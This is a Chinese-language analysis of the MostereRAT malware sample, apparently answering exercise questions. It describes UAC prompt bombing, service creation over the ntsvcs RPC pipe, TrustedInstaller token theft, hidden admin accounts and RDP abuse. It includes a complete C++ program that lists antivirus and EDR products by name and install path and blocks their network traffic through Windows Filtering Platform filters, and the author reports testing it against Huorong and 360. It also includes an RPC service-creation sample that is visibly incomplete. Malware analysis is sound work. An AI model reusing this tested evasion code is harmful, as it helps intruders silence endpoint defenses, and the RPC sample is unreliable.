https://www.fortinet.com/blog/threat-research/mostererat-deployed-anydesk-tightvnc-for-covert-full-access

任务:

  1. 该样本通过 “CreateSvcRpc” 技术创建具有系统权限的服务,这一技术在代码层面是如何实现的?
  2. 该样本能够创建一个具有 TrustInstaller 权限的进程,它具体是如何实现的?
  3. 该样本通过创建 Windows Filtering Platform (WFP) 规则阻断 AV/EDR 的网络流量,其具体的 API 调用流程是什么,创建了哪个 WFP 层/子层、使用了哪些过滤条件和权重优先级?

document.exe

HASH

SHA256:4e3cdeba19e5749aa88329bc3ac67acd777ea7925ba0825a421cada083706a4e

MD5:a9b52f654370a25d25af4554c25c2cc9

SHA1:7065ec1c8d8cccf6be22d21f781e278f307720ad

MostereRAT

这个文件存在一个正常的数字签名

直接运行之后会显示UAC弹窗,采用UAC弹窗"炸弹"的方式进行提权,提权运行之后显示版本不兼容

MostereRAT

此可执行文件基于 wxWidgetsGitHub 存储库中的菜单示例,用于部署后续阶段的必要工具。该工具集经过加密并捆绑在可执行文件的资源中,并包含名人的图像:

MostereRAT

MostereRAT

使用IDA分析

WinMain函数前面部分进行了初始化操作,真正的是同vtable调用虚函数进入的

MostereRAT

call eax跟进之后,这是一个虚函数,*this + 92 计算 vtable 条目在偏移量 92 字节处的地址(指针为 4 字节,可能是第 23 个虚函数)

MostereRAT

跳转到虚函数所在位置

MostereRAT

提权操作

MostereRAT

采用while循环给用户弹UAC弹窗,只有用户同意提权才会退出循环,提权成功会使用ShellExecuteExW创建一个以管理员权限运行相同进程,然后使用TerminateProcess立即退出

MostereRAT

构造路径 C:\ProgramData\Windows\tmp\<随机名>,使用系统运行时间 (GetTickCount64) 生成随机文件名

MostereRAT

从自身资源节中加载 ID 为 0x6E"BMP" 类型资源

接着使用一个简单的SUB操作解密数据,密钥值为‘ A ’。与远程监控和管理(RMM)工具和下一阶段有效负载相关的所有组件都放在C:\ProgramData\Windows

MostereRAT

MostereRAT

持久化

创建 WpnCoreSvc Windows服务,服务指向Ruby脚本执行恶意载荷,使用直接RPC调用绕过API监控

MostereRAT

接着使用 CreateSvcRpc 进入下一阶段,CreateSvcRpc 是一个自定义 RPC 客户端,它直接与 ntsvcs 命名管道通信以与 Windows 服务控制管理器 (SCM) 交互,绕过标准 API,如 OpenSCManager、CreateService、StartService 等。生成的服务以 SYSTEM 级权限运行。

MostereRAT

“WpnCoreSvc”是使用自动启动类型创建的,确保它在系统启动期间由服务控制管理器加载,以便通过 Ruby 脚本执行下一阶段。另一个创建的服务“WinSvc_”被配置为需求启动,并通过直接调用攻击者提供的启动器来启动下一阶段。

MostereRAT

为两个创建的服务执行的命令如下:
MostereRAT

代码实现:

#include <windows.h>
#include <stdio.h>
#include <rpc.h> 
#pragma comment(lib, "rpcrt4.lib")   // Link with RPC runtime library 
 
HANDLE EstablishRpcConnection() {
    //  连接到SCM的命名管道 
    HANDLE hPipe = CreateFileA(
        "\\\\.\\pipe\\ntsvcs",
        GENERIC_READ | GENERIC_WRITE,
        0, 
        NULL, 
        OPEN_EXISTING, 
        0, 
        NULL 
    );
 
    if (hPipe == INVALID_HANDLE_VALUE) {
        printf("Failed to open pipe. Error: %d\n", GetLastError());
        return INVALID_HANDLE_VALUE;
    }
 
    // 构造RPC主头 
    unsigned int rpcHeader[4];
    rpcHeader[0] = 0x030A3BFD;  // Version and flags 
    rpcHeader[1] = 16;          // Size of header 
    rpcHeader[2] = 72;          // Total size of header + payload 
    rpcHeader[3] = 1;           // Bind request type 
 
    // 构造BIND负载 
    unsigned char rpcBindPayload[56] = {0};
    *(unsigned int*)&rpcBindPayload[0]  = 268439552;  // Max transmit size
    *(unsigned int*)&rpcBindPayload[4]  = 0;          // Max receive size
    *(unsigned int*)&rpcBindPayload[8]  = 1;          // Assoc group
    *(unsigned int*)&rpcBindPayload[12] = 0x10000;    // Context ID 
    *(unsigned int*)&rpcBindPayload[32] = 2;          // Num transfer syntaxes 
    *(unsigned int*)&rpcBindPayload[52] = 2;          // Num context items
 
    // 填充接口UUID
    UUID interfaceUuid;
    if (UuidFromStringA((RPC_CSTR)"367abb81-9844-35f1-ad32-98f038001003", &interfaceUuid) != RPC_S_OK) {
        printf("Failed to convert interface UUID\n");
        CloseHandle(hPipe);
        return INVALID_HANDLE_VALUE;
    }
    memcpy(&rpcBindPayload[16], &interfaceUuid, sizeof(UUID));
 
    // 填充传输语法UUID 
    UUID transferSyntaxUuid;
    if (UuidFromStringA((RPC_CSTR)"8a885d04-1ceb-11c9-9fe8-08002b104860", &transferSyntaxUuid) != RPC_S_OK) {
        printf("Failed to convert transfer syntax UUID\n");
        CloseHandle(hPipe);
        return INVALID_HANDLE_VALUE;
    }
    memcpy(&rpcBindPayload[36], &transferSyntaxUuid, sizeof(UUID));
 
    // 发送构造好的BIND包 
    DWORD bytesWritten = 0;
    if (!WriteFile(hPipe, rpcHeader, sizeof(rpcHeader), &bytesWritten, NULL) || 
        bytesWritten != sizeof(rpcHeader)) {
        printf("Failed to write RPC header. Error: %d\n", GetLastError());
        CloseHandle(hPipe);
        return INVALID_HANDLE_VALUE;
    }
 
    if (!WriteFile(hPipe, rpcBindPayload, sizeof(rpcBindPayload), &bytesWritten, NULL) || 
        bytesWritten != sizeof(rpcBindPayload)) {
        printf("Failed to write RPC bind payload. Error: %d\n", GetLastError());
        CloseHandle(hPipe);
        return INVALID_HANDLE_VALUE;
    }
 
    // 读取SCM的响应 
    unsigned char responseBuffer[1024] = {0};
    DWORD bytesRead = 0;
    if (!ReadFile(hPipe, responseBuffer, sizeof(responseBuffer), &bytesRead, NULL)) {
        printf("Failed to read response. Error: %d\n", GetLastError());
        CloseHandle(hPipe);
        return INVALID_HANDLE_VALUE;
    }
 
  
    if (bytesRead < 24 || *(unsigned int*)&responseBuffer[20] != 0) {
        printf("RPC bind failed in response\n");
        CloseHandle(hPipe);
        return INVALID_HANDLE_VALUE;
    }
 
    return hPipe;
}
 
BOOL PerformServiceHijack(HANDLE hPipe) {
    if (hPipe == INVALID_HANDLE_VALUE) {
        return FALSE;
    }

    unsigned char rpcRequestPacket[4096] = {0}; 
    
    DWORD bytesWritten = 0;
    if (!WriteFile(hPipe, rpcRequestPacket, sizeof(rpcRequestPacket), &bytesWritten, NULL)) {
        printf("[!] Error: Failed to send request packet. Error: %d\n", GetLastError());
        return FALSE;
    }
 
    unsigned char finalResponse[1024] = {0};
    DWORD bytesRead = 0;
    if (!ReadFile(hPipe, finalResponse, sizeof(finalResponse), &bytesRead, NULL)) {
        printf("[!] Error: Failed to read final response. Error: %d\n", GetLastError());
        return FALSE;
    }
 
    return TRUE;
}
 
int main() {
    HANDLE hScmPipe = EstablishRpcConnection();
 
    if (hScmPipe == INVALID_HANDLE_VALUE) {
        printf("\n无法建立与系统核心服务的底层连接。\n");
        return 1;
    }
 
    // 执行服务劫持
    if (PerformServiceHijack(hScmPipe)) {
     //   printf("\n已模拟完整的服务劫持流程。\n");
    } else {
       // printf("\n在服务劫持过程中发生错误。\n");
    }
 
    // 清理资源 
    CloseHandle(hScmPipe);
    return 0;
}

在终止之前,该程序会以简体中文显示一条虚假消息,指出系统版本不兼容,并指示用户在另一台计算机上运行该程序,从而通过社会工程继续传播。

MostereRAT

持久化之后AV对载荷的拦截效果

360:好像不拦,但是查杀会停在这好久了,下面那个页面也打不开

MostereRAT

Windows defender:这个重启之后不拦,变成下面了

MostereRAT

简易编程语言

ruby.exe

调用该程序的system()函数启动svchost.exe

MostereRAT

svchost.exe

调用krnln.fnrLoadEPKFromCmdLine运行svchost.db文件(svchost.db文件为epk文件

MostereRAT

krnln.fnr

LoadEPKFromCmdLine函数获取传入的命名然后对epk文件进行操作

MostereRAT

调用LoadEPKData函数对指定的epk文件进行加载

MostereRAT

MostereRAT

channel-8df91be7c24a-channel-8df91be7c24e由maindll.db模块处理

channel-8df91be7c24f由elsedll.db模块处理

MostereRAT

.db文件解密逻辑,对单字节减去0x41

MostereRAT

MostereRAT

然后将模块加载到内存中,并调用其导出的函数“getVersion”。

maindll.db

getVersion:

提升进程权限:

MostereRAT

多通道执行逻辑

Channel A: channel-8df91be7c24a(升级并启动新程序、模块/通过重复执行恶意代码实现持久性)

MostereRAT

升级并启动新程序、模块

创建两个线程,sub_10010E40:

加载RSA私钥字符串

MostereRAT

构建C2服务器URL列表

MostereRAT

MostereRAT

进行端口号处理

MostereRAT

配置文件在服务器上可用,利用RSA私钥解密配置文件,表明新版本已准备好下载。

MostereRAT

解析配置文件
MostereRAT

MostereRAT

比较版本号以确定是否需要下载新的有效载荷MostereRAT

据线程参数执行不同操作,通过 HTTP 使用端口 9001 和 9002 与命令和控制 (C2) 服务器通信。端口 9001 负责 EXE 有效载荷,而端口 9002 则处理 EPK 有效载荷:

MostereRAT

通过重复执行恶意代码实现持久性

sub_1000C690:

从资源中加载定义计划作业的 XML 文件。它注册作业“Microsoft\Windows\winrshost”和“Microsoft\Windows\winresume”

MostereRAT

创建一个名为“DnsNetwork”的服务,用于启动一个带有附加参数的新实例

MostereRAT

这些实例配置为自动运行——在系统启动期间以 SYSTEM 帐户(SID:S-1-5-18)运行,并在用户登录后以内置的 Administrators 组(SID:S-1-5-32-544)运行

MostereRAT

MostereRAT

Channel B: channel-8df91be7c24b(以 TrustedInstaller 身份运行/干扰AV/EDR解决方案)

MostereRAT

sub_10012150:

MostereRAT

以 TrustedInstaller 身份运行

sub_10003410:

当前进程权限提升(首先启用 SeDebugPrivilege 权限,并复制自身进程令牌,使其拥有提升的权限。)

MostereRAT

系统权限获取(查找并复制一个 SYSTEM 进程令牌)

MostereRAT

TrustedInstaller权限获取

MostereRAT

MostereRAT

令牌操作和权限设置

MostereRAT

环境准备/高权限进程创建(使用 TrustedInstaller 令牌启动一个具有完整权限的新进程。)

MostereRAT

干扰AV/EDR解决方案

sub_1000B210:

MostereRAT

该恶意软件包含两个内置列表:一个用于安全产品路径,另一个用于安全产品名称。

安全产品路径:

MostereRAT

安全产品名称:

MostereRAT

它首先扫描目标路径中的可执行文件,检查是否存在安全解决方案。

MostereRAT

然后,它将这些可执行文件与正在运行进程的镜像文件路径进行比较
MostereRAT

.........

MostereRAT

如果找到匹配项,且镜像路径包含已知的安全产品名称,则恶意软件会阻止其流量。

MostereRAT

Channel C: channel-8df91be7c24c

MostereRAT

Channel D: channel-8df91be7c24d(禁用 Windows 安全)

MostereRAT

禁用 Windows 安全

会终止诸如“SecurityHealthService.exe”和“SecurityHealthSystray.exe”之类的进程

MostereRAT

停止包括“wuauserv”、“UsoSvc”、“uhssvc”和“WaaSMedicSvc”在内的服务

MostereRAT

删除诸如“C:\Windows\System32\WaaSMedicSvc.dll”和“C:\Windows\System32\wuaueng.dll”之类的关键系统文件

MostereRAT

MostereRAT

Channel E: channel-8df91be7c24e

MostereRAT

elsedll.db

getVersion:

使用与maindll.db相同的服务器列表与命令与控制服务器通信,通过TCP端口8000建立连接。

通过相互TLS(mTLS)保护通信,利用嵌入式客户端密钥、客户端证书和CA证书来强制相互身份验证并防止冒充。

MostereRAT

C2数据包以一个幻数1234567890(0x499602D2)开头,后面跟着四个字节,表示数据包长度,然后是一个命令ID,指定要执行的操作。

MostereRAT

sub_100275B0

MostereRAT

sub_10027EE0

支持多种功能,并可以在受害者系统上部署流行的远程访问工具,以实现完全控制,就像正常使用系统一样。

MostereRAT

case 8100003:发送心跳信号

MostereRAT

case 8101701:创建屏幕截图

MostereRAT

case 8101614:枚举系统所有用户账户

MostereRAT

case 8101611:继续/停止发送关闭监视器的消息

MostereRAT

数据收集

case 8100005:监控与千牛(阿里巴巴的卖家工具)相关的前台窗口活动,支持提取程序生成的文件数据

MostereRAT

收集系统信息如:

计算机名称

MostereRAT

Windows操作系统产品详细信息

MostereRAT

系统引导时间

MostereRAT

自上次用户输入以来的时间

MostereRAT

视频捕获驱动程序的数量

MostereRAT

下载并执行

采用多种方法以各种方式下载和执行有效负载,支持shellcode, EPK, DLL和EXE格式。

下载的数据保存在tmp文件夹中,文件名由GetTickCount64生成。

case 8100101:对于EPK有效负载,由EPK Launcher启动

MostereRAT

case 8100103:对于DLL有效负载通常保存到磁盘上,并通过rundll32.exe执行,调用getVersion导出函数。

MostereRAT

case 8100104:对于EXE有效负载,可以写入磁盘并作为独立进程运行。

MostereRAT

case 8100107:ShellCode有效负载被写入分配的内存,然后执行。

MostereRAT

case 8100108:

MostereRAT

case 8100221:

MostereRAT

case 8100109:从C2下载并运行EPK文件使用EPK启动器

MostereRAT

.......

MostereRAT

case 8100112:从C2下载并运行DLL文件使用rundll32.exe,并调用getversion函数

MostereRAT

.......

MostereRAT

case 8100151:下载并将shellcode加载到内存中以供执行。

MostereRAT

........

MostereRAT

文件操作

仅针对工作目录下/database目录下的文件,并支持读、写、删除操作。

case 8100152:读操作

MostereRAT

case 8100203:删除位于Database目录下的特定文件。

文件ID用于标识文件夹中的文件,范围从1001 (0x3E9)到1009 (0x3F1),对应于文件名01.db到09.db。

MostereRAT

case 8100204:写操作

MostereRAT

远程接入工具部署

使用嵌入在资源中的配置文件运行远程访问和代理工具。在攻击过程中,AnyDesk、Xray和TigerVNC被利用并配置为允许攻击者独占访问。

case 8101601:部署Xray和TightVNC

MostereRAT

........

MostereRAT

.......

MostereRAT

case 8101603:对其他的Xray和TigerVNC进程查杀

MostereRAT

case 8101609:安装AnyDesk,根据参数选择不同的安装模式(4种)

MostereRAT

........

MostereRAT

.......

MostereRAT

case 8101610:对其他的AnyDesk进程查杀

MostereRAT

此外,支持第三方RDP工具‘ RDP Wrapper ’和配置更改,允许快速修改RDP设置-例如通过注册表编辑启用或禁用多个会话登录。

case 8101604:启用和配置Windows远程桌面服务

启用RDP核心服务,注入RDP包装器DLL

MostereRAT

修改登录策略

MostereRAT

禁用RDP安全限制

MostereRAT

配置会话限制、启用多用户并发

MostereRAT

启用重定向功能

MostereRAT

修改认证策略、启用RDP连接

MostereRAT

case 8101605:快速配置RDP的登录和安全设置

MostereRAT

case 8101607:启用RDP多会话登录

MostereRAT

case 8101608:禁用RDP多会话登录

MostereRAT

通过隐藏帐户持久化

case 8101606:

创建新用户的命令可以通过修改注册表路径

HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList

创建以用户名命名的REG_DWORD条目并将其值设置为0,将密码未过期的帐户添加到administrators组中,并将其隐藏在Windows登录UI中。

在代码实现中,条目名称被硬编码为‘V’,而不是使用实际的用户名。

MostereRAT

MostereRAT

流量阻断实现

#include <windows.h>
#include <tlhelp32.h>
#include <shlwapi.h>
#include <iostream>
#include <vector>
#include <string>
#include <set>
#include <filesystem> 
#include <fwpmu.h>
#include <rpc.h>
#include <aclapi.h>
#include <sddl.h>
#include <memory>
#include <algorithm>
#include <psapi.h> 

namespace fs = std::filesystem;

#pragma comment(lib, "fwpuclnt.lib")
#pragma comment(lib, "rpcrt4.lib")
#pragma comment(lib, "advapi32.lib")
#pragma comment(lib, "shlwapi.lib")
#pragma comment(lib, "Psapi.lib")

const std::vector<std::wstring> securityProcessNames = {
    L"360Safe.exe",  L"360sd.exe",  L"antivirus.exe",  L"QQPCMgr.exe",
    L"Sysdiag.exe",  L"msmpeng.exe",  L"MsMpEng.exe", L"NisSrv.exe", L"Defender.exe",  L"Kaspersky.exe",  L"ESET Security.exe",
    L"Security.exe",  L"Avira.exe",  L"Avast.exe",  L"Malwarebytes.exe",
    L"Antivirus.exe",  L"Bitdefender.exe",  L"Norton.exe",  L"Symantec.exe",
    L"McAfee.exe",  L"2345PCSafe.exe",  L"PCManager.exe",  L"Rising.exe",
    L"Microsoft PC Manager.exe"
};

const std::vector<std::wstring> securitySoftwarePaths = {
    L"C:/Program Files/360/360Safe", L"C:/Program Files/360/360sd",
    L"C:/Program Files/360/360zip", L"C:/Program Files (x86)/360/360Safe",
    L"C:/Program Files (x86)/360/360sd", L"C:/Program Files (x86)/360/360zip",
    L"C:/ProgramData/360safe", L"C:/ProgramData/360SD",
    L"C:/Program Files/kingsoft/kingsoft antivirus", L"C:/Program Files (x86)/kingsoft/kingsoft antivirus",
    L"C:/ProgramData/kdata", L"C:/ProgramData/kdesk",
    L"C:/ProgramData/Kingsoft", L"C:/ProgramData/KRSHistory",
    L"C:/Program Files/Tencent/QQPCMgr", L"C:/Program Files (x86)/Tencent/QQPCMgr",
    L"C:/ProgramData/Tencent/QQPCMgr", L"C:/Program Files/Huorong/Sysdiag",
    L"C:/Program Files (x86)/Huorong/Sysdiag", L"C:/ProgramData/Huorong/Sysdiag",
    L"C:/Program Files/Windows Defender", L"C:/Program Files (x86)/Windows Defender",
    L"C:/ProgramData/Microsoft/Windows Defender", L"C:/Program Files/Common Files/AV",
    L"C:/Program Files/ESET", L"C:/ProgramData/ESET",
    L"C:/Program Files/Avira", L"C:/Program Files (x86)/Avira",
    L"C:/ProgramData/Avira", L"C:/Program Files/Avast Software",
    L"C:/ProgramData/Avast Software", L"C:/Program Files/Malwarebytes",
    L"C:/ProgramData/Malwarebytes", L"C:/Program Files/AVG",
    L"C:/Program Files/Common Files/AVG", L"C:/ProgramData/AVG",
    L"C:/Program Files (x86)/2345Soft/2345PCSafe", L"C:/Program Files (x86)/Lenovo/PCManager",
    L"C:/Program Files (x86)/Rising", L"C:/Program Files/Microsoft PC Manager"
};

struct FwpmMemoryDeleter {
    void operator()(void* p) const {
        if (p) FwpmFreeMemory0(&p);
    }
};
template<typename T>
using FwpmMemPtr = std::unique_ptr<T, FwpmMemoryDeleter>;

const GUID PROVIDER_KEY = { 0xdd8e57b0, 0xb264, 0x4245, {0xa6, 0x58, 0x5b, 0x18, 0x24, 0xa4, 0x0a, 0x8a} };
const GUID SUBLAYER_KEY = { 0xa552636a, 0x39a7, 0x488b, {0xa3, 0x2e, 0x34, 0x44, 0xa7, 0xa7, 0x46, 0x35} };
const std::vector<GUID> WFP_LAYERS_TO_BLOCK = {
    FWPM_LAYER_ALE_AUTH_CONNECT_V4,
    FWPM_LAYER_ALE_AUTH_CONNECT_V6,
    FWPM_LAYER_ALE_AUTH_RECV_ACCEPT_V4,
    FWPM_LAYER_ALE_AUTH_RECV_ACCEPT_V6
};

HANDLE g_engineHandle = nullptr;
bool g_providerAndSublayerInitialized = false;
std::set<std::wstring> g_blockedExecutables;

std::wstring GetProcessPath(DWORD processId) {
    HANDLE hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, processId);
    if (!hProcess) return L"";

    wchar_t path[MAX_PATH] = { 0 };
    if (GetModuleFileNameExW(hProcess, nullptr, path, MAX_PATH)) {
        CloseHandle(hProcess);
        return path;
    }

    CloseHandle(hProcess);
    return L"";
}

bool InitializeProviderAndSublayer() {
    DWORD result = FwpmTransactionBegin0(g_engineHandle, 0);
    if (result != ERROR_SUCCESS) {
        std::wcerr << L"FwpmTransactionBegin0 failed. Error: " << result << std::endl;
        return false;
    }

    FWPM_PROVIDER0 provider = { 0 };
    provider.providerKey = PROVIDER_KEY;
    provider.displayData.name = const_cast<wchar_t*>(L"Security Blocker Provider");
    result = FwpmProviderAdd0(g_engineHandle, &provider, nullptr);
    if (result != ERROR_SUCCESS && result != FWP_E_ALREADY_EXISTS) {
        std::wcerr << L"FwpmProviderAdd0 failed. Error: " << result << std::endl;
        FwpmTransactionAbort0(g_engineHandle);
        return false;
    }

    FWPM_SUBLAYER0 subLayer = { 0 };
    subLayer.subLayerKey = SUBLAYER_KEY;
    subLayer.displayData.name = const_cast<wchar_t*>(L"Security Blocker Sublayer");
    subLayer.providerKey = const_cast<GUID*>(&PROVIDER_KEY);
    subLayer.weight = 0xFFFF;
    result = FwpmSubLayerAdd0(g_engineHandle, &subLayer, nullptr);
    if (result != ERROR_SUCCESS && result != FWP_E_ALREADY_EXISTS) {
        std::wcerr << L"FwpmSubLayerAdd0 failed. Error: " << result << std::endl;
        FwpmTransactionAbort0(g_engineHandle);
        return false;
    }

    result = FwpmTransactionCommit0(g_engineHandle);
    if (result != ERROR_SUCCESS) {
        std::wcerr << L"FwpmTransactionCommit0 failed. Error: " << result << std::endl;
        FwpmTransactionAbort0(g_engineHandle);
        return false;
    }
    return true;
}

bool AddApplicationFirewallBlockRules(const std::wstring& applicationPath) {
    if (g_blockedExecutables.count(applicationPath)) {
        return true;
    }

    if (g_engineHandle == nullptr) {
        FWPM_SESSION0 session = { 0 };
        session.txnWaitTimeoutInMSec = INFINITE;
        DWORD result = FwpmEngineOpen0(nullptr, RPC_C_AUTHN_WINNT, nullptr, &session, &g_engineHandle);
        if (result != ERROR_SUCCESS) {
            std::wcerr << L"FwpmEngineOpen0 failed. Error: " << result << std::endl;
            return false;
        }
    }

    if (!g_providerAndSublayerInitialized) {
        if (!InitializeProviderAndSublayer()) return false;
        g_providerAndSublayerInitialized = true;
    }

    FWP_BYTE_BLOB* appBlob = nullptr;
    DWORD result = FwpmGetAppIdFromFileName0(applicationPath.c_str(), &appBlob);
    if (result != ERROR_SUCCESS) {
        return false;
    }
    FwpmMemPtr<FWP_BYTE_BLOB> appId(appBlob);

    for (const auto& layerKey : WFP_LAYERS_TO_BLOCK) {
        FWPM_FILTER0 filter = { 0 };
        UuidCreate(&filter.filterKey);

        filter.displayData.name = const_cast<wchar_t*>(L"Security Software Block Rule");
        filter.layerKey = layerKey;
        filter.subLayerKey = SUBLAYER_KEY;
        filter.providerKey = const_cast<GUID*>(&PROVIDER_KEY);
        filter.weight.type = FWP_EMPTY;
        filter.action.type = FWP_ACTION_BLOCK;

        FWPM_FILTER_CONDITION0 condition = { 0 };
        condition.fieldKey = FWPM_CONDITION_ALE_APP_ID;
        condition.matchType = FWP_MATCH_EQUAL;
        condition.conditionValue.type = FWP_BYTE_BLOB_TYPE;
        condition.conditionValue.byteBlob = appId.get();

        filter.numFilterConditions = 1;
        filter.filterCondition = &condition;

        UINT64 filterId = 0;
        result = FwpmFilterAdd0(g_engineHandle, &filter, nullptr, &filterId);
        if (result != ERROR_SUCCESS) {
            std::wcerr << L"FwpmFilterAdd0 failed. Error: " << result << std::endl;
            continue;
        }

        EXPLICIT_ACCESS_W access = { 0 };
        access.grfAccessPermissions = GENERIC_ALL;
        access.grfAccessMode = SET_ACCESS;
        access.grfInheritance = NO_INHERITANCE;

        TRUSTEE_W trustee = {};
        BuildTrusteeWithNameW(&trustee, const_cast<wchar_t*>(L"SYSTEM"));
        access.Trustee = trustee;

        PACL pAcl = nullptr;
        if (SetEntriesInAclW(1, &access, nullptr, &pAcl) == ERROR_SUCCESS) {
            result = FwpmFilterSetSecurityInfoByKey0(g_engineHandle, &filter.filterKey, DACL_SECURITY_INFORMATION, nullptr, nullptr, pAcl, nullptr);
            if (result != ERROR_SUCCESS) {
                std::wcerr << L"FwpmFilterSetSecurityInfoByKey0 failed. Error: " << result << std::endl;
            }
            LocalFree(pAcl);
        }
    }

    g_blockedExecutables.insert(applicationPath);
    return true;
}

std::set<std::wstring> ScanSecuritySoftwarePaths() {
    std::set<std::wstring> foundExecutables;
    for (const auto& basePathStr : securitySoftwarePaths) {
        try {
            fs::path basePath(basePathStr);
            if (fs::exists(basePath) && fs::is_directory(basePath)) {
                for (const auto& entry : fs::recursive_directory_iterator(basePath, fs::directory_options::skip_permission_denied)) {
                    if (entry.is_regular_file() && entry.path().extension() == L".exe") {
                        foundExecutables.insert(fs::absolute(entry.path()).wstring());
                    }
                }
            }
        }
        catch (const fs::filesystem_error&) {
        }
    }
    return foundExecutables;
}

std::set<std::wstring> ScanRunningSecurityProcesses() {
    std::set<std::wstring> foundProcesses;
    HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
    if (hSnapshot == INVALID_HANDLE_VALUE) return foundProcesses;

    PROCESSENTRY32W pe32 = { 0 };
    pe32.dwSize = sizeof(PROCESSENTRY32W);

    if (Process32FirstW(hSnapshot, &pe32)) {
        do {
            for (const auto& procName : securityProcessNames) {
                if (_wcsicmp(pe32.szExeFile, procName.c_str()) == 0) {
                    std::wstring path = GetProcessPath(pe32.th32ProcessID);
                    if (!path.empty()) {
                        foundProcesses.insert(path);
                    }
                }
            }
        } while (Process32NextW(hSnapshot, &pe32));
    }
    CloseHandle(hSnapshot);
    return foundProcesses;
}

void DetectAndBlockSecuritySoftware() {
    auto pathFound = ScanSecuritySoftwarePaths();
    for (const auto& path : pathFound) {
        if (AddApplicationFirewallBlockRules(path)) {
            std::wcout << L"Blocked (from Path Scan): " << path << std::endl;
        }
    }

    auto procFound = ScanRunningSecurityProcesses();
    for (const auto& path : procFound) {
        if (AddApplicationFirewallBlockRules(path)) {
            std::wcout << L"Blocked (from Process Scan): " << path << std::endl;
        }
    }
}

void Cleanup() {
    if (g_engineHandle) {
        FwpmEngineClose0(g_engineHandle);
        g_engineHandle = nullptr;
    }
}

int wmain() {
    atexit(Cleanup);

    std::wcout << L"Security Software Blocker Started." << std::endl;
    std::wcout << L"Scanning periodically. Press Ctrl+C to exit." << std::endl;

    while (true) {
        DetectAndBlockSecuritySoftware();
        std::wcout << L"\nScan complete. Waiting 10 seconds before next scan...\n" << std::endl;
        Sleep(10000); 
    }

    return 0;
}

测试效果:

MostereRAT

火绒:网络访问错误

MostereRAT

360:一直处于检查中